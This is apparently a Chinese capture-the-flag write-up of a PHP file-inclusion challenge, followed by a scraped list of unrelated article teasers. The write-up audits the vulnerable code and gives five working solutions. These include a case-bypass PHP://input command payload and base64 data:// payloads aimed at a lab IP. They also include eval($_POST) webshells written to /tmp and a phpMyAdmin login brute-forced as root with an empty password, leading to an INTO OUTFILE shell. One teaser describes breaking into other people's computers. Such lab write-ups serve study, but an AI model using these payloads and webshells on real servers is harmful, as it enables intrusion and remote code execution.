2024.12.10——攻防世界Web_php_include
知识点:代码审计 文件包含 伪协议
伪协议知识点补充:
在PHP中,伪协议(Pseudo Protocols)也被称为流包装器,这些伪协议以 php://
开头,后面跟着一些参数,用于指定要执行的操作或需要访问的资源。 伪协议表明这些协议并不是一个真实的外部协议,例如http或ftp。PHP伪协议的出现是为了提供一个统一的、简洁的接口来处理不同的数据流。这些伪协议可以被看作是一种桥梁,它们允许开发者使用常规的文件操作函数来处理各种不同的数据流。
php://input:是PHP提供的一个伪协议,允许开发者访问POST请求的原始内容,对于POST请求数据,PHP提供了 $_POST
和 $FILES
超全局变量,在客户端发起POST请求时,PHP将自动处理POST提交的数据并将处理结果存放至 $_POST
和 $FILES
中。
一、解题思路
step 1 打开靶机审题
打开靶机得到一串代码,开始代码审计
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {? ?$page=str_replace("php://", "", $page);
}
include($page);
?>
step 2 代码审计
-
show_source(__FILE__);
show_source() 函数:将指定文件的内容以语法高亮的形式输出 -
strstr($page, "php://")
strstr()函数strstr(字符串,你要搜索的内容,false)
括号里面有三个部分:
1.字符串:也就是上面的 p a g e 。例如:在 u r l 后面添加 / p a g e = 123456 ,那么 page。例如:在url后面添加 /page=123456,那么 page。例如:在url后面添加/page=123456,那么page的内容就是123456。
2.你要搜索的内容:也就是题目中的php://。意思就是该函数会从$page的内容里去寻找php://,而这里是一个while语句,一旦查找到php://,那么就会执行大括号里面的语句。
例如:我的url是
http://61.147.171.105:53858/?page=php.php://input
那么传入的$page的内容就是php://input,而前面的“php.”就会被丢弃。
3.false:我这里写false的原因是该参数默认是false。也就是一般情况只需要写前两个参数即可。false代表匹配到php://之后,会输出php://和之后的内容。而如果为true,则会输出“php.”,也就是php://前面的内容。
注:strstr函数对大小写敏感,也就是会区分大小写。
-
str_replace("php://", "", $page)
str_replace()函数str_replace函数:这个函数的作用是将匹配到的php://全部替换为空。
例如:str_replace(“1”,“2”,“123”)会输出223。因为会将全部的1替换为2。(同样区分大小写)
str_replace("php://", "", $page)
,即会将 php://
替换为 $page
中的值。
总之,程序过滤掉了page=参数传入php://
step 3 五个解法
解法一 使用php://input 伪协议&大小写绕过/原因:strstr函数区分大小写
php://input可用于执行php代码,使用post方式传递代码即可。这里再将php改为PHP
构建url为
/?page=PHP://input
使用hackbar或bp抓包,用post方式传递php代码。
<?php system('ls'); ?>
列出所有文件
fl4gisisish3r3.php
疑似flag,cat一下得到了真的flag
解法二 data://伪协议执行命令利用
既然过滤了php://的伪协议 我们可以使用其他协议来替代,这里使用data://伪协议
**data://**伪协议:php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是PHP代码,就会执行代码
使用方法:
data://text/plain;base64,xxxx(base64编码后的数据)
<?php system("dir")?>
base64编码后为 PD9waHAgc3lzdGVtKCJkaXIiKT8+
http://61.147.171.105:64764/?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJkaXIiKT8%2b
(注意编码后的+号要URL编码)
<?php system("cat fl4gisisish3r3.php")?>
base64编码后使用
http://61.147.171.105:64764/?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik/Pg==
查看源码得到flag
解法三 data://伪协议转木马
<?php eval($_POST[x]); ?>
base64加密后拼接
http://61.147.171.105:64764/?page=data://text/plain/;base64,PD9waHAgZXZhbCgkX1BPU1RbeGlhb2h1YV0pOyA/Pg==
菜刀连接即可:
解法四 抓包后再最下面添加一段代码+蚁剑
代码如下:
<?PHP fputs(fopen('/tmp/shell.php','w'),'<?php @eval($_POST[x])?>');?>
注意点:这里一句话木马[]里没有单引号&蚁剑链接先测试链接
Tips:linux默认tmp是可写目录,所以尝试一句话,然后蚁剑链接,即可看到文件
解法四 数据库写入一句话木马(这里没弄明白在哪里写入一句话木马,望大佬指条明路!)
dirsearch扫描获得phpmyadmin文件,怪怪的,传参进去看看情况,得到如下界面
抓包爆破用户名和密码 得到用户名为root,密码为空
进入数据库执行这条命令查看secure_file_priv是否为空,为空则可以写数据
SHOW VARIABLES LIKE "secure_file_priv"
显示为空
然后写入一句话马,用蚁剑连接
SELECT "<?php eval(@$_POST['xiaohua']); ?>"
INTO OUTFILE '/tmp/test1.php'
注:secure_file_priv 为系统变量,如果是null,即没设置允许操作的目录,所以没法导出到文件
解法五 通过hello参数回显(新方法,但这里模棱两可,这里也需要大佬指路)
payload如下(flag文件名由上面方法可以得到)
http://61.147.171.105:64764/?page=http://127.0.0.1?hello=<?show_source('fl4gisisish3r3.php');?>
大概理解一下:
首先使page参数为本页代码,绕过判断,会执行include文件包含本页代码,这时传入的hello参数会被视为php代码执行
相关文章:
2024.12.10——攻防世界Web_php_include
知识点:代码审计 文件包含 伪协议 伪协议知识点补充: 在PHP中,伪协议(Pseudo Protocols)也被称为流包装器,这些伪协议以 php://开头,后面跟着一些参数,用于指定要执行的操作或需要…...
Linux shell脚本用于常见图片png、jpg、jpeg、webp、tiff格式批量转PDF文件
Linux Debian12基于ImageMagick图像处理工具编写shell脚本用于常见图片png、jpg、jpeg、webp、tiff格式批量转PDF文件,”多个图片分开生成多个PDF文件“或者“多个图片合并生成一个PDF文件” 在Linux系统中,使用ImageMagick可以图片格式转换,…...
有没有检测吸烟的软件 ai视频检测分析厂区抽烟报警#Python
在现代厂区管理中,安全与规范是重中之重,而吸烟行为的管控则是其中关键一环。传统的禁烟管理方式往往依赖人工巡逻,效率低且存在监管死角,难以满足当下复杂多变的厂区环境需求。此时,AI视频检测技术应运而生࿰…...
LeetCode 每日一题 2024/12/16-2024/12/22
记录了初步解题思路 以及本地实现代码;并不一定为最优 也希望大家能一起探讨 一起进步 目录 12/16 1847. 最近的房间12/17 3291. 形成目标字符串需要的最少字符串数 I12/18 3292. 形成目标字符串需要的最少字符串数 II12/19 3285. 找到稳定山的下标12/20 3138. 同位…...
gitlab代码推送
点击这个√ 修改的文件全部选上 填好提交的名称 点击commit 选取提交的 gitlab 库 点击Push...
小红书飞书素材库 | AI改写 | 无水印下载 | 多维表格 | 采集同步 | 影刀RPA
小红书飞书素材库 | AI改写 | 无水印下载 | 多维表格 | 采集同步 | 影刀RPA 模板准备 进入【小红书】素材采集库_荷逸模板,点击使用模板 创建文档应用 在开发者后台 - 飞书开放平台创建 企业自建应用 (需要账号有相应的权限, 如果没有权限向管理员申请) 获取 Ap…...
【计算机视觉基础CV-图像分类】02-入门详解图像分类、经典数据集、比赛与冠军图像模型演进史
前言 图像分类(Image Classification)是计算机视觉(Computer Vision)中一项基础且核心的任务。简单来说,就是让计算机从给定的类别集合中,为一张输入图片分配一个正确的类别标签。这个过程听起来直观&…...
【机器学习】探索机器学习与人工智能:驱动未来创新的关键技术
探索机器学习与人工智能:驱动未来创新的关键技术 前言:人工智能的核心技术深度学习:自然语言处理(NLP):计算机视觉: 机器学习与人工智能的驱动创新医疗健康领域金融行业智能制造与工业互联网智慧…...
DS二叉树--基于数组存储的构建
题目描述 任意二叉树可以根据完全二叉树性质保存在一个数组中。已知二叉树的数组存储,用程序构建该二叉树。 提示:用递归方法或非递归都可以 输入 第一行输入一个整数t,表示有t个测试数据 第二行起输入二叉树的数组存储结果,空…...
入侵他人电脑,实现远程控制(待补充)
待补充 在获取他人无线网网络密码后,进一步的操作是实现入侵他人电脑,这一步需要获取对方的IP地址并需要制作自己的代码工具自动化的开启或者打开对方的远程访问权限。 1、获取IP地址(通过伪造的网页、伪造的Windows窗口、hook,信…...
STM32基于标准库如何查看时钟主频,100%简单
基于原有的工程写入两行代码,见下图 RCC_ClocksTypeDef get_rcc_clock; RCC_GetClocksFreq(&get_rcc_clock); 进入我们的仿真加入断点,然后在watch1观察变量值数据,然后在计算器计算就能得出,如上图。 但是这样看的PAB1上…...
HarmonyOS NEXT 技术实践-基于意图框架服务实现智能分发
在智能设备的交互中,如何准确理解并及时响应用户需求,成为提升用户体验的关键。HarmonyOS Next 的意图框架服务(Intents Kit)为这一目标提供了强大的技术支持。本文将通过一个项目实现的示例,展示如何使用意图框架服务…...
[原创](Modern C++)现代C++的第三方库的导入方式: 例如Visual Studio 2022导入GSL 4.1.0
[简介] 常用网名: 猪头三 出生日期: 1981.XX.XX 企鹅交流: 643439947 个人网站: 80x86汇编小站 编程生涯: 2001年~至今[共23年] 职业生涯: 21年 开发语言: C/C、80x86ASM、PHP、Perl、Objective-C、Object Pascal、C#、Python 开发工具: Visual Studio、Delphi、XCode、Eclipse…...
【jenkins插件】
1) 2) 3) 4) 5) 6) 参考: 知识库/运维/Jenkins/01-安装/13-插件.md zfoo/java-developer-document - 码云 - 开源中国...
springboot472基于web网上村委会业务办理系统(论文+源码)_kaic
摘 要 现代经济快节奏发展以及不断完善升级的信息化技术,让传统数据信息的管理升级为软件存储,归纳,集中处理数据信息的管理方式。本网上村委会业务办理系统就是在这样的大环境下诞生,其可以帮助管理者在短时间内处理完毕庞大的数…...
七层网络笔记
首先,用户感知到的只是最上面一层应用层,自上而下每层都依赖于下一层,所以我们从最下一层开始切入,比较好理解 每层都运行特定的协议,越往上越靠近用户,越往下越靠近硬件 物理层由来:上面提到&a…...
PostgreSQL编译安装教程
下载安装 1.在家目录创建一个文件夹放下载安装包 mkdir softwarecd software 2.下载文件压缩包 wget https://ftp.postgresql.org/pub/source/v16.0/postgresql-16.0.tar.gz 3.解压 tar -xzvf postgresql-16.0.tar.gz 4.编译 在software/postgresql-16.0下 cd software…...
音视频学习(二十四):hls协议
基本原理 HLS协议通过将视频文件切分成多个小的媒体段(通常是10秒左右的.ts文件),并通过HTTP传输给客户端。视频播放过程中,客户端按顺序请求这些小段文件来逐步播放整个视频流。HLS还支持多种码率,以便适应不同网络条…...
pytorch MoE(专家混合网络)的简单实现。
专家混合(Mixture of Experts, MoE)是一种深度学习模型架构,通常用于处理大规模数据和复杂任务。它通过将输入分配给多个专家网络(即子模型),然后根据门控网络(gating network)的输出…...
代码随想录day24 | leetcode 93.复原IP地址 90.子集 90.子集II
93.复原IP地址 Java class Solution {List<String> result new ArrayList<String>();StringBuilder stringBuilder new StringBuilder();public List<String> restoreIpAddresses(String s) {backtracking(s, 0, 0);return result;}// number表示stringb…...
Scala项目(图书管理系统)
3、service BookService package org.app package serviceimport org.app.dao.{BookDAO, BorrowRecordDAO} import org.app.models.{BookModel, BorrowRecordModel}import java.time.LocalDateTime import scala.collection.mutable.ListBuffer// 图书业务逻辑层 class BookS…...
Deepin/Linux clash TUN模式不起作用,因网关导致的问题的解决方案。
网关导致的问题的解决方案 查看路由 ip route寻找默认路由 默认路由应当为Mihomo default dev Mihomo scope link 如果不是,则 sudo ip route add default dev Mihomo在clash TUN开关状态发生变化时,Mihomo网卡会消失,所以提示找不到网卡…...
【macos java反编译工具Java Decompiler】
mac上能用的反编译工具 https://java-decompiler.github.io/...
VLAN数据格式
概念:VLAN叫做虚拟局域网,指在物理网络中根据用于、工作组、应用等进行逻辑划分的局域网,是一个广播域,与用户的物理位置没有关系。 作用:VLAN可以灵活的进行分段和组织,能够实现更好的安全性,…...
Error response from daemon: Get “https://registry-1.docker.io/v2/“ 问题解决
文章目录 一、参考资料二、修改nameserver三、修改daemon.json文件 一、参考资料 问题的根源在于系统每次都会自动修改DNS,所以需要永久修改 linux永久修改dns 二、修改nameserver sudo nano /etc/resolvconf/resolv.conf.d/head 没有该文件的话需要安装 sudo a…...
每天40分玩转Django:Django部署
Django部署 一、今日学习内容概述 学习模块重要程度主要内容生产环境配置⭐⭐⭐⭐⭐settings配置、环境变量WSGI服务器⭐⭐⭐⭐⭐Gunicorn配置、性能优化Nginx配置⭐⭐⭐⭐反向代理、静态文件安全设置⭐⭐⭐⭐⭐SSL证书、安全选项 二、生产环境配置 2.1 项目结构调整 mypr…...
学习threejs,scene.overrideMaterial全局材质效果
👨⚕️ 主页: gis分享者 👨⚕️ 感谢各位大佬 点赞👍 收藏⭐ 留言📝 加关注✅! 👨⚕️ 收录于专栏:threejs gis工程师 文章目录 一、🍀前言1.2 ☘️THREE.Scene 场景1.2 ☘️…...
新版Android Studio 2024.1.2版本,如何通过无线wifi连接手机实现交互
1、首先,先确定手机是否启动了开发者选项 在我的设备 -> 全部参数 -> MIUI版本点击6下 (有的手机是 关于手机 -> 查看手机版本 ) 2、在设置中搜索 开启开发者选项 3、进入开发者选项后,在 调试 中选择 无线调试并选择…...
PTA 时间几何
作者 Happyer 单位 湖北文理学院 乘火车或飞机常有由始发时间历经时间计算终到时间的事儿。我们通过三个 函数来完成,当然,为了存储几点几分这个时间,我们专门定义了一个结构体Time_gxx,你要完成的是写二个函数:1)st…...
事务、管道
目录 事务 相关命令 悲观锁 乐观锁 管道 实例 Pipeline与原生批量命令对比 Pipeline与事物对比 使用Pipeline注意事项 事务 相关命令 命令描述discard取消事务,放弃执行事务块内的所有命令exec执行所有事务块内的事务(所有命令依次执行&#x…...
深入了解蓝牙Profile类型与设备的对应关系
在现代技术中,蓝牙作为一种无线通信技术,广泛应用于各种设备之间的短距离通信。不同的设备在连接时使用不同的蓝牙Profile(配置文件),每种Profile都为特定的设备功能提供支持,例如音频流传输、语音通话、文件传输等。在本文中,我们将详细介绍蓝牙Profile的常见类型及其对…...
net_device结构
net_device是Linux内核中用于表示网络设备的数据结构,它存储了特定网络设备的所有信息,无论是真实设备(如Ethernet)还是虚拟设备(如Bonding或VLAN)。以下是对net_device的详细解析: 一、定义与位置 net_device数据结构定义在Linux内核的include/linux/netdevice.h文件中…...
DuetWebControl 开源项目常见问题解决方案
DuetWebControl 开源项目常见问题解决方案 DuetWebControl A completely new web interface for the Duet electronics [这里是图片001] 项目地址: https://gitcode.com/gh_mirrors/du/DuetWebControl 一、项目基础介绍 DuetWebControl 是一个为 RepRapFirmware 设计的完全响…...
c# 不同数据类型转换
namespace Systempublic static class ConvertExtension {public static byte[] ToBinaryByteArray(this byte[] bytes){// 每个字节有 8 位,所以总位数为 bytes.Length * 8byte[] binaryArray new byte[bytes.Length * 8];int index 0;// 遍历每个字节foreach (b…...
2025.01.15python商业数据分析top2
一、 导入项目 导入项目、准备项目数据 import pandas as pd# 文件路径为python文件位置下的相对路径dwxpd.read_excel("电蚊香套装市场近三年交易额.xlsx") fmfzpd.read_excel("防霉防蛀片市场近三年交易额.xlsx") msmcpd.read_excel("灭鼠杀虫剂市…...
软件信息化平台项目投标技术方案中如何进行项目实施方案以及安全质量方案培训售后方案应急预案的编写?
在软件平台投标技术方案中,项目实施方案、质量管理、安全管理、培训方案、售后服务方案和应急预案等章节至关重要,它们分别从不同角度确保项目的顺利实施、高质量交付、安全稳定运行、用户有效使用、持续服务保障以及应对突发情况的能力。各章节编制要点相互关联、协同作用,…...
目标检测-R-CNN
R-CNN在2014年被提出,算法流程可以概括如下: 候选区域生成:利用选择性搜索(selective search)方法找出图片中可能存在目标的候选区域(region proposal) CNN网络提取特征:对候选区域进行特征提取(可以使用AlexNet、VGG等网络) 目…...
计算机毕业设计PySpark+PyFlink+Hive地震预测系统 地震数据分析可视化 地震爬虫 大数据毕业设计 Hadoop 机器学习 深度学习
温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 作者简介:Java领…...
panddleocr-文本检测+文本方向分类+文本识别整体流程
panddleocr-文本检测文本方向分类文本识别整体流程 通过文本检测–>文本方向分类–>文本识别,即可识别出0~360度的旋转文本。 文本检测的最小外接矩形框根据长宽可以看到90度的角度,而再加入文本方向分类就能扩展到180度的角度。...
【物联网技术与应用】实验9:红外遥控实验
实验9 红外遥控实验 【实验介绍】 红外接线头的主要功能为IC化的一种受光元件,其内部是将光电二极管(俗称接收管)和集成IC共同组合封装而成,其IC设计主要以类比式控制,一般主要接受38KHz的频率的红外线,而…...
青少年编程与数学 02-004 Go语言Web编程 18课题、日志记录
青少年编程与数学 02-004 Go语言Web编程 18课题、日志记录 一、日志记录(一)目的(二)内容类型(三)日志记录的格式 二、Go Web 日志记录1. 使用标准库 log 包2. 使用 logrus3. 在 Gin 框架中集成 logrus4. 使…...
【数据结构练习题】栈与队列
栈与队列 选择题括号匹配逆波兰表达式求值出栈入栈次序匹配最小栈设计循环队列面试题1. 用队列实现栈。[OJ链接](https://leetcode.cn/problems/implement-stack-using-queues/solutions/)2. 用栈实现队列。[OJ链接](https://leetcode.cn/problems/implement-queue-using-stack…...
ctfshow-web入门-文件包含(web82-web86)条件竞争实现session会话文件包含
目录 1、web82 2、web83 3、web84 4、web85 5、web86 1、web82 新增过滤点 . ,查看提示:利用 session 对话进行文件包含,通过条件竞争实现。 条件竞争这个知识点在文件上传、不死马利用与查杀这些里面也会涉及,如果大家不熟…...
前端学习DAY26(华为平板页面)
<!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>平板图片</title><style> .box{text-al…...
【Linux 网络 (三)】:https协议加密解密分析 —— 秘钥协商
网络 一、https协议二 、https相关概念1)加密、解密2) 常见加密方式(对称加密和非对称加密)对称加密非对称加密 3)数据摘要 && 数据指纹4)数字签名 三、HTTPS 的⼯作过程探究1)只使⽤对…...
c 保存 csv格式的文件
在C语言中保存数据为CSV(逗号分隔值)格式的文件,你可以使用标准I/O库函数,如fprintf,来将数据写入文件,并确保每个字段之间用逗号分隔。以下是一个简单的示例,说明如何在C语言中创建一个CSV文件…...
数据结构---------二叉树前序遍历中序遍历后序遍历
以下是用C语言实现二叉树的前序遍历、中序遍历和后序遍历的代码示例,包括递归和非递归(借助栈实现)两种方式: 1. 二叉树节点结构体定义 #include <stdio.h> #include <stdlib.h>// 二叉树节点结构体 typedef struct…...
【JavaEE】网络(6)
一、http相关概念 1.1 什么是http协议 http协议(超文本传输协议),是应用层的一个协议 1.2 应用场景 网页与服务器之间交互手机app与服务器之间交互 http协议是典型的一问一答模式的协议,即请求和响应是一一对应的 二、http协议…...
什么是单例模式
单例模式就是 只有一个 不能存在多个 饿汉式单例模式 实现方式: 这种模式在程序启动或单例类被加载时就创建好实例。例如,以下是一个简单的 C 实现的饿汉式单例类,用于记录日志(假设这个日志类在整个程序中有且仅有一个实例&#…...
protobuf实用教程
引言 protobuf安装 protobuf数据类型 基本数据类型 复合类型 Map类型 protobuf使用教程 编写.proto文件 编译 使用 序列化与反序列化 结语 引言 protobuf 是 google 的一种数据交换的格式,它独立于平台语言。 google 提供了 protobuf 多种语言的实现&am…...